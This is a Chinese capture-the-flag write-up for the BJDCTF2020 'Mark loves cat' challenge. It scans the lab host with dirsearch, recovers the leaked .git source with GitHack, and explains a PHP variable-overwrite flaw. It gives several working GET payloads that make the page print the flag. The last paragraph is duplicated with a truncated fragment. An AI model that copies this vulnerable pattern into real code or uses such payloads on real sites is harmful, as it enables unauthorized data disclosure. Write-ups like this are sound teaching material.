BUU [BJDCTF2020]Mark loves cat
先看题目,好高级的网页,看不出什么来。那dirsearch扫一下。扫出git泄露。【由于md文档限制,全篇¥替换$】
记得调低线程,加上过滤,要不然BUU好多429。python dirsearch.py -u http://43ce11aa-9fc6-4cc2-a5b0-554640893dd8.node4.buuoj.cn:81/ -t 3 -x 400,403,404,500,503,429
GitHack一开始下载不下来,多试几次就好啦,记得扫描的时候不要去动他哦。
python GitHack.py -u http://7a7cc2e2-aa39-4f82-a93f-5b5a63bba2ee.node4.buuoj.cn:81/.git/
开始代码审计。得知flag在根目录下面,$flag就是flag。
核心源码:<?phpinclude 'flag.php';$yds = "dog";$is = "cat";$handsome = 'yds';foreach($_POST as $x => $y){ $$x = $y;}foreach($_GET as $x => $y){ $$x = $$y;}foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); }}if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is);}echo "the flag is: ".$flag;
分析一下,如果没有get/post flag参数会退出并且返回$yds,如果get/post flag参数==="flag"会退出并且返回¥is。foreach() 与¥¥存在变量覆盖。
$$x就相当于是$($x)
exit(status) // 该函数是die() 函数的别名。如果 status 是字符串,则该函数会在退出前输出字符串。
如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序。
foreach() //遍历数组中的值
<?php ¥ary=array('a','b','c','c','e'); foreach(¥y as value){ //¥ary的键名赋给¥key,键值赋给¥value ¥¥key=¥value; //把键值赋给¥¥key } print_r(¥key); //输出4 print_r(¥value); //输出e print_r(¥¥key); //输出e ?>
法一:利用exit($handsome)返回flag。
【省流:$flag=$x,不是单次赋值,执行完这个代码之后,若$x变化m$flag跟着变化】
首先肯定是get一个handsome=flag,经过foreach(get)变成¥handsome=¥flag。
然后因为要满足if(¥_GET[‘flag’] === ¥x && ¥x != = ‘flag’),还要get一个flag=什么什么进去。
此时¥x=¥flag!=“flag”。
答案是flag=handsome。因为前面¥handsome=¥flag了,然后¥flag=¥什么什么,即¥handsome=¥flag=¥什么什么,什么什么不能是flag,为了保证值不变,只能什么什么为handsome。
第二,第三个payload同理,即¥handsome=¥flag=¥x=¥flag。因此也可以构造?handsome=flag&flag=x&x=y&y=z&z=flag(¥handsome=¥flag=¥x=¥y=¥z=¥flag)
?handsome=flag&flag=handsome?handsome=flag&flag=x&x=flag?handsome=flag&x=flag&flag=x?handsome=flag&flag=x&x=y&y=z&z=flag..................
法二:利用exit($yds)返回flag。
get yds=flag ->¥yds=¥flag,flag值赋给yds。
?yds=flag
法三:利用exit($is)返回flag。
要想用exit($is),必须post/get flag=flag。如果是POST,会导致¥flag=”flag”,foreach()POST在GET之前,¥flag值改变了才把¥flag赋值给is,已经没用了。GET的话导致之后¥flag=¥flag,没事。
?is=flag&flag=flag
法四:利用echo "the flag is: ".$flag;返回flag。【不行】
要过exit(¥yds)要post/get传参flag,并且不能传flag=flag才能过exit($is),所以不管是get还是post传参,满足前两个条件¥flag一定会改变(¥flag=¥其他东西)。
s)要post/get传参flag,并且不能传flag=flag才能过exit($is),所以不管是get还是post传参,满足前两个条件¥flag一定会改变(¥flag=¥其他东西)。